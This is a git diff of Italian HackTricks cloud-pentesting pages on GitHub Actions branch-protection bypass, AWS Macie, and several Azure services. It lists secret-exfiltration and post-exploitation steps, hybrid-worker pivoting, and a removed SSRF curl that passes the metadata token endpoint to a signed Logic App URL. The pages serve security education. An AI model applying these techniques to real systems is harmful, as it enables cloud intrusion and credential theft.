**accesso in scrittura sul repo ma non ti è consentito inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e all'interno di esso creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**. ## Bypass delle Protezioni degli Ambienti -Per un'introduzione sulle [**Ambientazioni di Github controlla le informazioni di base**](basic-github-information.md#git-environments). +Per un'introduzione su [**Github Environment controlla le informazioni di base**](basic-github-information.md#git-environments). -Nel caso in cui un ambiente possa essere **accessibile da tutti i branch**, **non è protetto** e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui **tutti i branch sono protetti** (specificando i loro nomi o utilizzando `*`), in quel caso, **trova un branch dove puoi inviare codice** e puoi **esfiltrare** i segreti creando una nuova github action (o modificandone una). +Nel caso in cui un ambiente possa essere **accessibile da tutti i branch**, **non è protetto** e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui **tutti i branch sono protetti** (specificando i loro nomi o utilizzando `*`); in quel scenario, **trova un branch dove puoi inviare codice** e puoi **esfiltrare** i segreti creando una nuova github action (o modificandone una). Nota che potresti trovare il caso limite in cui **tutti i branch sono protetti** (tramite carattere jolly `*`) è specificato **chi può inviare codice ai branch** (_puoi specificarlo nella protezione del branch_) e **il tuo utente non è autorizzato**. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La **protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata**. ```yaml @@ -206,8 +350,8 @@ Nota che **dopo la creazione** del branch, la **protezione del branch si applich - Genera **user token** - Ruba **github tokens** da **secrets** -- **Cancellazione** dei **risultati** e dei **branch** del workflow -- Dai **più permessi a tutta l'organizzazione** +- **Cancellazione** dei **risultati** del workflow e dei **branch** +- Dai **più permessi a tutta l'org** - Crea **webhook** per esfiltrare informazioni - Invita **collaboratori esterni** - **Rimuovi** i **webhook** utilizzati dal **SIEM** @@ -233,4 +377,12 @@ echo 'hello world!' ``` Per ulteriori informazioni controlla [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +## Riferimenti + +- [Come abbiamo sfruttato CodeRabbit: da una semplice PR a RCE e accesso in scrittura su 1M repository](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Estensioni Rubocop (richiesta)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [Autenticazione con un'app GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [Elenca le installazioni per l'app autenticata](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Crea un token di accesso all'installazione per un'app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index 002644329..0c1932d66 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,48 +1,142 @@ # Amazon Macie -## Introduzione +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macie è un servizio di sicurezza dei dati che scopre dati sensibili utilizzando l'apprendimento automatico e il riconoscimento di modelli, fornisce visibilità sui rischi per la sicurezza dei dati e consente una protezione automatizzata contro tali rischi. +## Macie -## Elencare i Risultati con la Console AWS +Amazon Macie si distingue come un servizio progettato per **rilevare, classificare e identificare automaticamente i dati** all'interno di un account AWS. Sfrutta **l'apprendimento automatico** per monitorare e analizzare continuamente i dati, concentrandosi principalmente sul rilevamento e sull'allerta contro attività insolite o sospette esaminando i dati degli **eventi di cloud trail** e i modelli di comportamento degli utenti. -Dopo aver scansionato un bucket S3 specifico per segreti e dati sensibili, verranno generati risultati e visualizzati nella console. Gli utenti autorizzati con permessi sufficienti possono visualizzare e elencare questi risultati per ciascun lavoro. +Caratteristiche principali di Amazon Macie: + +1. **Revisione attiva dei dati**: Utilizza l'apprendimento automatico per rivedere attivamente i dati mentre si verificano varie azioni all'interno dell'account AWS. +2. **Rilevamento delle anomalie**: Identifica attività irregolari o modelli di accesso, generando avvisi per mitigare i potenziali rischi di esposizione dei dati. +3. **Monitoraggio continuo**: Monitora e rileva automaticamente nuovi dati in Amazon S3, impiegando l'apprendimento automatico e l'intelligenza artificiale per adattarsi ai modelli di accesso ai dati nel tempo. +4. **Classificazione dei dati con NLP**: Utilizza l'elaborazione del linguaggio naturale (NLP) per classificare e interpretare diversi tipi di dati, assegnando punteggi di rischio per dare priorità ai risultati. +5. **Monitoraggio della sicurezza**: Identifica dati sensibili per la sicurezza, inclusi chiavi API, chiavi segrete e informazioni personali, aiutando a prevenire perdite di dati. + +Amazon Macie è un **servizio regionale** e richiede il ruolo IAM 'AWSMacieServiceCustomerSetupRole' e un AWS CloudTrail abilitato per funzionare. + +### Sistema di Allerta + +Macie categorizza gli avvisi in categorie predefinite come: + +- Accesso anonimizzato +- Conformità dei dati +- Perdita di credenziali +- Escalation dei privilegi +- Ransomware +- Accesso sospetto, ecc. + +Questi avvisi forniscono descrizioni dettagliate e suddivisioni dei risultati per una risposta e risoluzione efficaci. + +### Caratteristiche del Dashboard + +Il dashboard categorizza i dati in varie sezioni, tra cui: + +- Oggetti S3 (per intervallo di tempo, ACL, PII) +- Eventi/utenti CloudTrail ad alto rischio +- Località delle attività +- Tipi di identità utente CloudTrail, e altro ancora. + +### Categorizzazione degli Utenti + +Gli utenti sono classificati in livelli in base al livello di rischio delle loro chiamate API: + +- **Platino**: Chiamate API ad alto rischio, spesso con privilegi di amministratore. +- **Oro**: Chiamate API relative all'infrastruttura. +- **Argento**: Chiamate API a rischio medio. +- **Bronzo**: Chiamate API a basso rischio. + +### Tipi di Identità + +I tipi di identità includono Root, utente IAM, Ruolo Assunto, Utente Federato, Account AWS e Servizio AWS, indicando la fonte delle richieste. + +### Classificazione dei Dati + +La classificazione dei dati comprende: + +- Tipo di Contenuto: Basato sul tipo di contenuto rilevato. +- Estensione del File: Basato sull'estensione del file. +- Tema: Categorizzato per parole chiave all'interno dei file. +- Regex: Categorizzato in base a specifici modelli regex. + +Il rischio più alto tra queste categorie determina il livello di rischio finale del file. + +### Ricerca e Analisi + +La funzione di ricerca di Amazon Macie consente query personalizzate su tutti i dati di Macie per un'analisi approfondita. I filtri includono Dati CloudTrail, proprietà del Bucket S3 e Oggetti S3. Inoltre, supporta l'invito di altri account a condividere Amazon Macie, facilitando la gestione collaborativa dei dati e il monitoraggio della sicurezza. + +## Elenco dei Risultati con la Console AWS + +Dopo aver scansionato un determinato bucket S3 per segreti e dati sensibili, verranno generati risultati e visualizzati nella console. Gli utenti autorizzati con permessi sufficienti possono visualizzare e elencare questi risultati per ciascun lavoro. Screenshot 2025-02-10 at 19 08 08 -## Rivelare Segreti +## Rivelazione del Segreto -Amazon Macie fornisce una funzionalità che visualizza i segreti rilevati in formato testo chiaro. Questa funzionalità aiuta nell'identificazione dei dati compromessi. Tuttavia, visualizzare i segreti in testo chiaro non è generalmente considerato una buona pratica a causa di preoccupazioni di sicurezza, poiché potrebbe potenzialmente esporre informazioni sensibili. +Amazon Macie fornisce una funzione che visualizza i segreti rilevati in formato testo chiaro. Questa funzionalità aiuta nell'identificazione dei dati compromessi. Tuttavia, visualizzare i segreti in testo chiaro non è generalmente considerata una buona pratica a causa di preoccupazioni di sicurezza, poiché potrebbe potenzialmente esporre informazioni sensibili. Screenshot 2025-02-10 at 19 13 53 Screenshot 2025-02-10 at 19 15 11 -## Enumerazione +### Enumerazione ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privesc.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> Dal punto di vista di un attaccante, questo servizio non è progettato per rilevare l'attaccante, ma per rilevare informazioni sensibili nei file memorizzati. Pertanto, questo servizio potrebbe **aiutare un attaccante a trovare informazioni sensibili** all'interno dei bucket.\ +> Tuttavia, forse un attaccante potrebbe anche essere interessato a interromperlo per impedire alla vittima di ricevere avvisi e rubare più facilmente quelle informazioni. + +TODO: PRs are welcome! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index a282b1614..64d15e488 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -9,6 +9,16 @@ Per ulteriori informazioni su PostgreSQL Database controlla: ../az-services/az-postgresql.md {{#endref}} +### Usa l'estensione pg_azure_storage per accedere agli account di Storage + +È possibile utilizzare l'estensione **`pg_azure_storage` per accedere agli account di Azure Storage** da un server PostgreSQL. Questo utilizzerà i permessi dell'identità gestita assegnata al server per accedere all'account di storage. + +Per ulteriori informazioni controlla questa tecnica spiegata nella sezione sull'escalation dei privilegi: + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` Con questo permesso, puoi creare nuovi database all'interno di un'istanza di Postgres Flexible Server su Azure. Anche se questa azione di per sé non modifica le risorse esistenti, la creazione eccessiva o non autorizzata di database potrebbe portare a un consumo di risorse o a un potenziale uso improprio del server. @@ -18,15 +28,6 @@ az postgres flexible-server db create \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -Con questo permesso, puoi avviare la creazione di backup per un'istanza di Postgres Flexible Server su Azure. Questo consente agli utenti di generare backup su richiesta, che possono essere utili per preservare i dati in momenti specifici. -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` Con questo permesso, puoi configurare o aggiornare le impostazioni di Advanced Threat Protection (ATP) per un'istanza di Postgres Flexible Server su Azure. Questo consente di abilitare o disabilitare le funzionalità di sicurezza progettate per rilevare e rispondere ad attività anomale e potenziali minacce. diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index fa41c9a67..25273f92d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,7 +4,7 @@ ## Informazioni di base -Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud. +Gli Azure Automation Accounts sono servizi basati su cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud. ### Impostazioni @@ -44,7 +44,7 @@ Quando la sincronizzazione è abilitata, nel **repository Github viene creato un Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Inoltre, nota che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato. -Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita a un'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Ambienti di esecuzione @@ -61,16 +61,16 @@ Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di qu ### Gruppi di lavoratori ibridi -In Azure Automation, l'ambiente di esecuzione predefinito per i runbook è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbook di essere eseguiti direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure. +In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata su cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di eseguire direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure. Quando viene creato un gruppo di lavoratori ibridi, è necessario indicare le **credenziali** da utilizzare. Ci sono 2 opzioni: -- **Credenziali predefinite**: Non è necessario fornire le credenziali e i runbook verranno eseguiti all'interno delle VM come **Sistema**. -- **Credenziali specifiche**: È necessario fornire il nome dell'oggetto credenziali all'interno dell'account di automazione, che verrà utilizzato per eseguire i **runbook all'interno delle VM**. Pertanto, in questo caso, potrebbe essere possibile **rubare credenziali valide** per le VM. +- **Credenziali predefinite**: Non è necessario fornire le credenziali e i runbooks verranno eseguiti all'interno delle VM come **Sistema**. +- **Credenziali specifiche**: È necessario fornire il nome dell'oggetto credenziali all'interno dell'account di automazione, che verrà utilizzato per eseguire i **runbooks all'interno delle VM**. Pertanto, in questo caso, potrebbe essere possibile **rubare credenziali valide** per le VM. Pertanto, se puoi scegliere di eseguire un **Runbook** in un **Lavoratore Ibrido**, eseguirai **comandi arbitrari** all'interno di una macchina esterna come **Sistema** (ottima tecnica di pivot). -Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre identità gestite collegate, il runbook sarà in grado di accedere all'**identità gestita del runbook e a tutte le identità gestite della VM dal servizio di metadata**. +Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre Identità Gestite collegate, il runbook sarà in grado di accedere all'**identità gestita del runbook e a tutte le identità gestite della VM dal servizio di metadata**. > [!TIP] > Ricorda che il **servizio di metadata** ha un URL diverso (**`http://169.254.169.254`**) rispetto al servizio da cui ottenere il token delle identità gestite dell'account di automazione (**`IDENTITY_ENDPOINT`**). @@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} +## Persistenza + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + ## Riferimenti - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 7822d04e5..5bc75db1c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -4,7 +4,7 @@ ## Informazioni di base -Azure Container Registry (ACR) è un registro privato e sicuro che ti consente di **memorizzare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo flussi di lavoro automatizzati per la creazione e il deployment su larga scala. Con funzionalità come la geo-replica e la scansione delle vulnerabilità, ACR aiuta a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate. +Azure Container Registry (ACR) è un registro privato e sicuro che consente di **memorizzare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo flussi di lavoro automatizzati per la creazione e il deployment su larga scala. Con funzionalità come la geo-replicazione e la scansione delle vulnerabilità, ACR aiuta a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate. ### Permessi @@ -31,7 +31,7 @@ Ci sono 4 modi per autenticarsi a un ACR: - **Con Entra ID**: Questo è il **metodo predefinito** per autenticarsi a un ACR. Utilizza il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **memorizzerà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se stai eseguendo questo comando da un ambiente senza accesso a un socket docker come in una **cloud shell**, è possibile utilizzare il flag **`--expose-token`** per ottenere il **token** per autenticarsi all'ACR. Poi, per autenticarti, devi usare come nome utente `00000000-0000-0000-0000-000000000000` come: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` - **Con un account admin**: L'utente admin è disabilitato per impostazione predefinita, ma può essere abilitato e poi sarà possibile accedere al registro con il **nome utente** e la **password** dell'account admin con pieni permessi sul registro. Questo è ancora supportato perché alcuni servizi Azure lo utilizzano. Nota che **2 password** vengono create per questo utente e entrambe sono valide. Puoi abilitarlo con `az acr update -n --admin-enabled true`. Nota che il nome utente è solitamente il nome del registro (e non `admin`). -- **Con un token**: È possibile creare un **token** con una **mappa di scope specifica** (permessi) per accedere al registro. Poi, è possibile utilizzare questo nome di token come nome utente e alcune delle password generate per autenticarsi al registro con `docker login -u -p aregistry-url>` +- **Con un token**: È possibile creare un **token** con una **specifica `scope map`** (permessi) per accedere al registro. Poi, è possibile utilizzare il nome del token come nome utente e una delle password generate per autenticarsi al registro con `docker login -u -p ` - **Con un Service Principal**: È possibile creare un **service principal** e assegnare un ruolo come **`AcrPull`** per scaricare immagini. Poi, sarà possibile **accedere al registro** utilizzando l'appId SP come nome utente e un segreto generato come password. Esempio di script dalla [documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) per generare un SP con accesso su un registro: @@ -63,7 +63,7 @@ Questo ti consente di **scansionare le immagini** nel registro per **vulnerabili ### Soft-delete -La funzione di **soft-delete** consente di **recuperare un registro eliminato** entro il numero di giorni indicato. Questa funzione è **disabilitata per impostazione predefinita**. +La funzione di **soft-delete** ti consente di **recuperare un registro eliminato** entro il numero di giorni indicato. Questa funzione è **disabilitata per impostazione predefinita**. ### Webhook @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` +## Accesso non autenticato + +{{#ref}} +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + ## Escalation dei privilegi e Post Exploitation {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index e24f30e73..bb24ba52b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,99 +4,175 @@ ## Informazioni di base -Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati tra diverse piattaforme. +Azure Logic Apps consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati su diverse piattaforme. -Logic Apps fornisce un designer visivo per creare flussi di lavoro con una **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi, come Office 365, Dynamics CRM, Salesforce e molti altri. Puoi anche creare connettori personalizzati per le tue esigenze specifiche. +Logic Apps fornisce un **designer visivo** per creare flussi di lavoro con un **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi: -Quando crei un Logic App, devi creare o collegare un account di archiviazione esterno che memorizza lo stato del flusso di lavoro, la cronologia delle esecuzioni e gli artefatti. Questo storage può essere configurato con impostazioni diagnostiche per il monitoraggio e può essere protetto con restrizioni di accesso alla rete o integrato in una rete virtuale per controllare il traffico in entrata e in uscita. +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
-### Esempi - -- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence. -- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come modifiche in un account di archiviazione Azure, consentendo un'elaborazione dinamica dei dati. - -### Visualizza un LogicAPP - -È possibile visualizzare un LogicApp con grafica: - -
- -o controllare il codice nella sezione "**Visualizzazione codice Logic app**". - -### Protezione SSRF - -Anche se trovi il **Logic App vulnerabile a SSRF**, non sarai in grado di accedere alle credenziali dai metadati poiché Logic Apps non lo consente. - -Ad esempio, qualcosa del genere non restituirà il token: -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` ### Opzioni di hosting Ci sono diverse opzioni di hosting: * **Consumption** -- **Multi-tenant**: fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo distribuisce un "Single Workflow". +- **Multi-tenant**: Questo fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo è ciò che chiameremo un "Single Workflow". * **Standard** -- **Workflow Service Plan**: risorse di calcolo dedicate con integrazione VNET per il networking e addebiti per ogni istanza del piano di servizio workflow. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo. -- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. -- **Hybrid** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment. +- **Workflow Service Plan**: Questo fornisce risorse di calcolo dedicate con integrazione VNET per il networking e addebita per ogni istanza del piano di servizio del flusso di lavoro. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo. +- **App Service Environment V3:** Questo fornisce risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. +- **Hybrid:** Questo è progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment. -### Caratteristiche principali -- **Storage**: Le Logic Apps richiedono un account Azure Storage esterno per memorizzare lo stato del workflow, la cronologia delle esecuzioni… e devono trovarsi nello stesso gruppo di risorse della Logic App. -- **Networking & Sicurezza**: Le Logic Apps possono essere configurate con accesso pubblico o privato. Per impostazione predefinita, l'app è aperta a Internet ma può essere integrata con una Azure Virtual Network per una connettività isolata. -- **Application Insights**: La gestione delle prestazioni delle applicazioni (APM) tramite Azure Monitor Application Insights può essere abilitata per monitorare le prestazioni, rilevare anomalie e fornire analisi. -- **Controllo degli accessi**: Le Logic Apps supportano le identità gestite dal sistema e le identità gestite dall'utente. +## Flussi di lavoro "Single" / Piano di consumo -### "Single" Workflows +Un **flusso di lavoro** è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale. -Un **workflow** è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale. I workflow possono integrare più sistemi, attivare eventi e regole, garantendo coerenza ed efficienza nei processi. +> [!TIP] +> Il piano di consumo consente **di creare un singolo flusso di lavoro senza la necessità di una Logic App** stessa. -Azure Logic Apps offre la funzionalità di **creare un singolo workflow senza la necessità di una Logic App** stessa. +### Attivatori e Azioni -Ogni workflow ha diversi **triggers**. Questi triggers sono i passaggi che il workflow segue. Ogni trigger ha i propri parametri che possono variare a seconda del tipo di trigger: -- Nome della connessione -- **Tipo di autenticazione** che può essere, Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita delle Logic Apps. +Gli attivatori del flusso di lavoro indicano **quando il flusso di lavoro dovrebbe iniziare**. Gli attivatori possono essere un endpoint HTTP, un programma o decine di eventi diversi da Azure o anche da app esterne. -I triggers hanno anche varie impostazioni: -- Validazione dello schema: Garantisce che i dati in arrivo seguano una struttura predefinita. -- Controllo della concorrenza: Limita il numero di esecuzioni parallele. -- Condizioni del trigger: condizioni che devono essere soddisfatte prima che il trigger venga attivato. -- Networking: Configura la dimensione dei chunk per il trasferimento dei dati e consente di sopprimere le intestazioni del workflow nelle risposte. -- **Sicurezza**: Abilita **Input/Output Sicuri per nascondere** dati sensibili nei log e nelle uscite. +Ogni flusso di lavoro ha diverse **azioni**. Queste azioni sono i passaggi che il flusso di lavoro segue. A seconda dell'azione, saranno disponibili diversi parametri per configurarla, come: -**Impostazioni & Connessioni API:** +- **Nome della connessione**: Connessione da utilizzare con cui l'azione interagirà. +- **Tipo di autenticazione:** Le diverse opzioni sono Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita di Logic Apps. +- Da una prospettiva di sola lettura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero contenere informazioni sensibili. +- Da una prospettiva di scrittura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero consentire di utilizzare i permessi delle identità gestite assegnate. +- ... -Un workflow ha diverse impostazioni come: -- Indirizzi IP in entrata consentiti: Questa impostazione consente di limitare chi può attivare o avviare la tua Logic App. Le opzioni sono Qualsiasi IP, Solo altre Logic Apps e Intervalli IP specifici. -- Account di integrazione: Qui puoi collegare la tua Logic App a un Account di Integrazione. -- 